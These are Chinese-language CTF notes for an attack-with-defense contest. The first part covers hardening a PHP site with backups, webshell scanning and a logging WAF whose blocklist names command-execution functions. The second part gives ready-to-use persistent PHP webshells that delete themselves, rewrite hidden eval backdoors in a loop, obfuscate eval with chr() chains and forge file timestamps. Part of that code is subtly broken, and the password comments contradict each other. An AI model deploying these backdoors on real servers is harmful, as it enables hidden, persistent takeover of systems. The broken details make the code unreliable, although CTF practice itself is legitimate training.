AWD
一:加固
1、备份源码
开始首要备份原始源码
tar -czvf html_backup.tar.gz -C /var/www/html .
下载备份文件至本地:
~~
删除备份文件!!!!!!1
rm -fr html_backup.tar.gz
每次加固完成进行备份(备份文件一定要删除!!!!)
2、D盾webshell查杀
将下载下来的文件全部放置D盾进行扫描
做好webshell的路径以及shell连接密码 记录!!!
最好进行验证本地验证,为后续反打同样路径做好准备!!
3、找到webshell【准备反打】
相同路径首要进行相同打击!!
4、加小鸟通防
上传waf.so、watchbird.php
再web目录下创建一个文件夹专用通过防
root@ubuntu-server:/var/www/html# mkdir HUygygaugauaafbe
本次使用的php5.6版本
root@ubuntu-server:/var/www/html/HUygygaugauaafbe# php -v
PHP 5.6.40-81+ubuntu20.04.1+deb.sury.org+1 (cli)
Copyright (c) 1997-2016 The PHP Group Zend Engine v2.6.0, Copyright (c) 1998-2016 Zend Technologies with Zend OPcache v7.0.6-dev, Copyright (c) 1999-2016, by Zend Technologies
root@ubuntu-server:/var/www/html/HUygygaugauaafbe#
root@ubuntu-server:/var/www/html/HUygygaugauaafbe# cat /etc/passwd | grep www
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
root@ubuntu-server:/var/www/html/HUygygaugauaafbe# chown www-data:www-data /var/www/html/HUygygaugauaafbe
root@ubuntu-server:/var/www/html/HUygygaugauaafbe# php watchbird.php --install ../
../HUygygaugauaafbe/watchbird.php
../index.php root@ubuntu-server:/var/www/html/HUygygaugauaafbe#

访问任意启用了waf的文件, 参数?watchbird=ui打开watchbird控制台, 创建一个初始密码

5、上waf.php
<?php
// 关闭所有错误报告(上线环境常用)
error_reporting(0);
// 定义日志文件的路径(注意:此路径是服务器根目录,不是相对路径)
define('LOG_FILENAME', 'dfajibfBUjfjvabeurblog.txt');
// 主防御函数
function waf() {
// 如果没有 getallheaders 函数(非 Apache 环境),定义一个兼容版
if (!function_exists('getallheaders')) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_') {
$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value;
}
}
return $headers;
}
}
// 获取所有请求相关数据
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders(); // 请求头
$files = $_FILES; // 上传文件
$ip = $_SERVER["REMOTE_ADDR"]; // 访客 IP
$method = $_SERVER['REQUEST_METHOD']; // 请求方法(GET/POST)
$filepath = $_SERVER["SCRIPT_NAME"]; // 当前访问的文件路径
// 简单处理上传文件内容,覆盖为字符串 virink
foreach ($_FILES as $key => $value) {
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
file_put_contents($_FILES[$key]['tmp_name'], "virink");
}
// 修复某些请求头中 Accept 可能引起误判
unset($header['Accept']);
// 整合所有用户输入内容,便于统一检测
$input = array(
"Get" => $get,
"Post" => $post,
"Cookie" => $cookie,
"File" => $files,
"Header" => $header
);
// 定义黑名单关键词,用于匹配恶意请求(SQL注入/命令执行/文件包含等)
$pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";
$pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";
$pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
// 拆分关键字为数组,逐个检查
$vpattern = explode("|", $pattern);
$bool = false;
// 检查所有输入数据中是否有匹配的恶意关键词
foreach ($input as $k => $v) {
foreach ($vpattern as $value) {
foreach ($v as $kk => $vv) {
// 正则匹配恶意关键词(不区分大小写)
if (preg_match("/$value/i", $vv)) {
$bool = true;
logging($input); // 如果匹配,记录日志
break;
}
}
if ($bool) break;
}
if ($bool) break;
}
}
// 日志记录函数
function logging($var) {
// 设置时区为中国
date_default_timezone_set("Asia/Shanghai");
$time = date("Y-m-d H:i:s");
// 将数据以追加方式写入日志文件
file_put_contents(LOG_FILENAME, "\r\n\r\n\r\n" . $time . "\r\n" . print_r($var, true), FILE_APPEND);
// 你可以在这里进行防御处理,如拦截请求:
// die("Hacker detected!");
// unset($_GET); unset($_POST); unset($_COOKIE);
}
// 启动 WAF 检查
waf();
?>
在入口文件index.php中加入 <?php include 'waf.php';?>

日志文件记录:

二、攻击
1、webshell上线后
查找相关得分点
2、权限维持:
2.1、50毫秒建立shellblackdoor
<?php
// 忽略用户断开连接(比如关闭浏览器),脚本依然会继续运行
ignore_user_abort(true);
// 设置脚本的执行时间为无限制(默认脚本执行时间限制为30秒)
set_time_limit(0);
// 定义目标文件名为 conf1g.php
$file = 'conf1g.php';
// 定义后门代码,接收 POST 请求中 iamctfing 参数的值并用 eval 执行
$shell = '<?php @eval($_POST[iamctfing]);?>';
//iamctfing
// 进入一个无限循环
while (TRUE) {
// 如果目标文件不存在,就写入后门代码
if (!file_exists($file)) {
file_put_contents($file, $shell);
}
// 让脚本稍作休眠(50 微秒 = 0.00005 秒),降低 CPU 占用
usleep(50);
}
?>
2.2 写入不死🐎
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while(1){
file_put_contents('./.config.php', '<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_$_fF("",$_cC);@$_();?>');
system('chmod 777 .config.php');
//持续在config.php中写入
touch("./.config.php", mktime(20,15,1,11,17,2017));
usleep(100);
}
?>
隐藏不死马测试版php
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = './.index.php';
$code = '<?php if(md5($_POST["pass"])=="162d2761db3c66701a8bac5ba12835a5"){@eval($_POST[a]);} ?>';
//pass=Tmx8911 马儿用法:fuckyou.php?pass=Sn3rtf4ck&a=command(POST)
while (1){
file_put_contents($file,$code);
system('touch -m -d "2017-11-12 10:10:10" .index.php');
usleep(50000);
}
?>
